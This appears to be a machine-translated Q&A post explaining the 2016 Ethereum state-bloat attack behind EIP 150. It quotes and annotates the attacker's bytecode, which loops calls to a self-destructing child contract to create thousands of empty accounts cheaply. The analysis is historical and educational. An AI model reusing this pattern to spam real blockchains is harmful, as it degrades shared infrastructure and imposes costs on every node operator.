¿Cómo se realizó el ataque de aumento de estado que condujo a la bifurcación EIP 150?

Entiendo que SELFDESTRUCTy el error en el precio de los códigos de operación permitió que muchas cuentas vacías se crearan a bajo costo, como se explica en ¿Por qué se permitió que las cuentas vacías estuvieran en la cadena de bloques? La respuesta a esa pregunta también incluye una transacción que creó muchas cuentas vacías. ¿Cómo funcionó esa transacción/ataque? Cuando un contrato invoca SELFDESTRUCT, no puede SELFDESTRUCTvolver a hacerlo... ¿o sí?

Respuestas (1)

Historia antigua, pero aquí va :-)

Hubo un contrato de coordinación para el ataque inicial. Una versión posterior tenía un algoritmo más complejo para generar las direcciones de cuenta vacías, presumiblemente para intentar frustrar cualquier esfuerzo futuro de limpieza. Este simplemente funcionó de manera incremental a través del espacio de direcciones.

Cada vez que se llamó al contrato de coordinación , y se llamó 4750 veces, hizo lo siguiente:

(1) Cree un contrato secundario .

0000 PUSH32 0x6004600c60003960046000f3600035ff00000000000000000000000000000000
0021 PUSH1 0x00
0023 MSTORE
0024 PUSH1 0x20
0026 PUSH1 0x00
0028 PUSH1 0x00
002a CREATE

Esto crea una copia única del siguiente contrato secundario en una nueva dirección:

;; Child contract (in full)
PUSH1 0x00
CALLDATALOAD
SELFDESTRUCT

El código para este contrato secundario está incrustado en el primero PUSH32del contrato de coordinación:

0000 PUSH32 0x6004600c60003960046000f3600035ff00000000000000000000000000000000

Los primeros 12 bytes de esto son el código para el constructor del contrato secundario; los siguientes cuatro bytes son el propio código de contrato secundario, como se indicó anteriormente.

(2) Cargue un contador desde el almacenamiento:

002b PUSH1 0x00
002d SLOAD
002e DUP1

Esto realiza un seguimiento de las cuentas vacías/infladas que se crean y permite que las llamadas posteriores al contrato de coordinación continúen desde donde quedó la anterior.

(3) Bucle sobre el resto del contrato: cada iteración del bucle llama al contrato secundario 40 veces (es decir, el siguiente código se duplica 40 veces)

0030 PUSH1 0x01
0032 ADD
0033 DUP1
0034 PUSH1 0x00
0036 MSTORE
0037 PUSH1 0x00
0039 DUP1
003a PUSH1 0x20
003c DUP2
003d DUP1
003e DUP8
003f PUSH1 0x06
0041 CALL
0042 POP

Aquí está agregando uno al contador, duplicándolo, volviendo a colocar una copia en la memoria y luego llamando al contrato secundario con la otra copia del contador como datos de llamada.

El contrato secundario interpreta los datos que se le envían (el contador) como una dirección, y cuando lo SELFDESTRUCThace, envía su valor (cero) a esa dirección creando una cuenta hinchada vacía.

El punto clave aquí es que el contrato secundario en realidad no se autodestruye hasta el final de la ejecución de la transacción actual, por lo que se puede llamar muchas veces dentro de una transacción. La descripción en el papel amarillo es "Detener la ejecución y registrar la cuenta para su posterior eliminación" (énfasis mío); se eliminará al finalizar la transacción actual. Es suficiente que el contrato hijo se recree solo en cada invocación del contrato de coordinación; entonces puede ser llamado muchas veces desde dentro de él.

(4) Verifique el combustible restante y, si hay suficiente, vuelva atrás y recorra las cuarenta llamadas nuevamente, continuando incrementando el contador de direcciones.

0328 GAS
0329 PUSH2 0x6000
032c LT
032d PUSH3 0x00002f
0331 JUMPI

Así, cada llamada al contrato de coordinación podía crear miles de cuentas hinchadas, dependiendo de la cantidad de gas suministrada inicialmente.

(5) Finalmente, almacene el contador de direcciones listo para la siguiente invocación.

0332 PUSH1 0x00
0334 SSTORE

El problema fue, por supuesto, que crear una cuenta a través de SELFDESTRUCT no usó tanto combustible como debería haberlo hecho. Esto se abordó en EIP150: Cambios en el costo del gas a largo plazo .